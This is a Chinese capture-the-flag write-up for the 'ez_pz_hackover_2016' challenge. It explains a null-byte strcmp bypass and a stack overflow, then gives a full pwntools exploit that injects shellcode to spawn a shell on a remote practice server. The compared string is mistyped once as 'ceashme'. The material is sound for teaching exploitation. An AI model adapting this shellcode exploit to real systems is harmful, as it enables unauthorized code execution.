ez_pz_hackover_2016
使用checksec
查看:
开启了完全RELRO,使整个 GOT 只读,放进IDA中查看:
header()
函数是初始化函数,没用,主要程序流程在chall()
中,直接看chall()
函数:
首先程序会printf变量s
在栈上的地址
然后接受用户输入0x3ff
个字符
接着用strcmp()
函数将用户输入的字符串和ceashme
做对比,如果不同,退出程序。
如果相同,进入vuln()
函数,我们跟进去查看:
很明显,一个栈溢出。
本题中并没有system
函数以及/bin/sh
,但栈可执行,所以可以直接将shellcode写入栈中,将返回地址修改成shellcode的地址即可。
strcmp()
函数可用\x00
绕过,开启gdb进行调试:
可以看到,0xffe781d2
是c
,0xffe781d3
是r
随后输入的MMMM
在0xffe781da
处
我们需要将shellcode写到ebp+4
处,也就是0xffe781ec
距离我们真实写入的地方0x12
payload = b'crashme\x00'+b'M'*0x12
接下来解决shellcode的地址问题:
还是上面那张图,我们得到的栈上的地址,它在参数s栈上的相对位置是0x20,ebp+4的相对地址是0x3c,距离0x1c,所以可以用stack_addr-0x1c
来表示返回地址。
exp:
from pwn import *
#start
r = remote("node4.buuoj.cn",25436)
# r = process("../buu/ez_pz_hackover_2016")
context.arch = 'i386'
context.log_level='debug'
gdb.attach(r,'b *0x8048600')
#params
r.recvuntil('0x')
stack_addr = int(r.recv(8),16)
#attack
# payload=b'crashme\x00MMMM'
payload = b'crashme\x00'+b'M'*0x12 + p32(stack_addr-0x1c) + asm(shellcraft.sh())
r.sendline(payload)
r.interactive()